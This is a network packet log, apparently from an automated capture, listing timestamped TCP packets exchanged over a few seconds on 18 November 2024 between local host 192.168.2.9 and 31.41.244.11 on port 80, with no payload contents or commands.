Nov 18, 2024 15:18:12.657408953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.657409906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.657444000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.657457113 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.657497883 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.657500982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.657538891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.657561064 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.657584906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.693587065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.693625927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.693661928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.693686008 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.693706989 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.693722963 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.719674110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.719734907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.719772100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.719772100 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.719820023 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.720158100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.729765892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.729820967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.729876041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.729887009 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.729887009 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.729912996 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.729929924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.729950905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.729969978 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730005980 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730056047 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730062008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730093002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730113029 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730128050 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730142117 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730165005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730176926 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730201960 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730212927 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730238914 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730258942 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730277061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.730288982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.730321884 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.731951952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.732007980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.732008934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.732044935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.732063055 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.732084036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.732098103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.732172966 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774005890 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774019957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774032116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774096012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774107933 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774121046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774136066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774234056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774235964 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774235964 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774245977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774259090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774272919 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774286032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774290085 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774298906 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774311066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774312019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774326086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774333954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774342060 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774358034 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774369001 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774389029 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774415970 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774482965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774496078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774533987 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774657011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774669886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.774699926 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.774728060 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.811633110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.811811924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.811825037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.811830044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.811839104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.811852932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.811862946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.811917067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.837596893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.837611914 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.837625027 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.837691069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.837703943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849004030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849076986 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849090099 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849098921 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849136114 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849148989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849162102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849175930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849181890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849189043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849189997 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849212885 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849220037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849225998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849251032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849257946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849262953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849277020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849288940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849298954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849323034 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849348068 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849751949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849812984 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.849842072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849854946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.849940062 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.890841007 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890865088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890878916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890892029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890904903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890917063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890928030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890933990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.890942097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890957117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.890973091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891002893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891170025 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891218901 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891262054 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891277075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891289949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891303062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891356945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891388893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891446114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891454935 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891459942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891472101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891486883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891491890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891499043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.891514063 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.891545057 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.892227888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.892273903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.892277002 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.892287970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.892321110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.892338037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.928792953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.928819895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.928833008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.928844929 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.928858042 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.928891897 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.928929090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.955141068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.955179930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.955192089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.955204010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.955246925 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.955272913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.966821909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966844082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966856956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966866970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966877937 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966886997 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.966890097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966903925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966927052 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.966941118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966953039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.966953993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.966979027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.967015982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.967221022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967231989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967236996 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967266083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967278957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967288971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967303038 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.967304945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967320919 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.967333078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.967341900 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.967371941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008122921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008140087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008152962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008169889 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008182049 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008184910 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008219957 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008420944 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008436918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008474112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008497953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008498907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008511066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008524895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008549929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008577108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008835077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008883953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.008985043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.008997917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009010077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009031057 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009033918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009047985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009049892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009061098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009073973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009079933 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009088039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009099960 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009126902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009922028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009933949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009946108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009959936 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009968042 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.009972095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.009989023 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.010018110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.045821905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.045850039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.045861959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.045876026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.045912027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.045943022 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.045994997 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.046036005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.046082020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.072408915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.072434902 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.072452068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.072541952 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.083681107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083704948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083718061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083729982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083743095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083787918 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.083790064 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083811045 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.083831072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083832026 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.083846092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083858013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.083873034 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.083893061 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084191084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084203005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084217072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084254980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084266901 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084345102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084358931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084372044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084404945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084431887 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084789038 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084801912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084815025 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.084847927 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.084867954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125081062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125096083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125108957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125155926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125168085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125179052 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125180960 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125226974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125375032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125422001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125432014 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125437021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125492096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125598907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125618935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125628948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125652075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125684977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.125854015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125866890 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125880003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.125940084 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126120090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126137972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126151085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126163960 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126163960 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126198053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126230001 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126481056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126494884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126509905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126540899 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126570940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126836061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126847982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126861095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.126893997 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126921892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.126993895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.127034903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.127047062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.127082109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.127110004 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.127259970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.127607107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.127652884 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.162786961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.162820101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.162832022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.162843943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.162916899 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.162962914 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.189562082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.189598083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.189621925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.189635038 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.189645052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.189656973 CET	80	49847	31.41.244.11	192.168.2.9
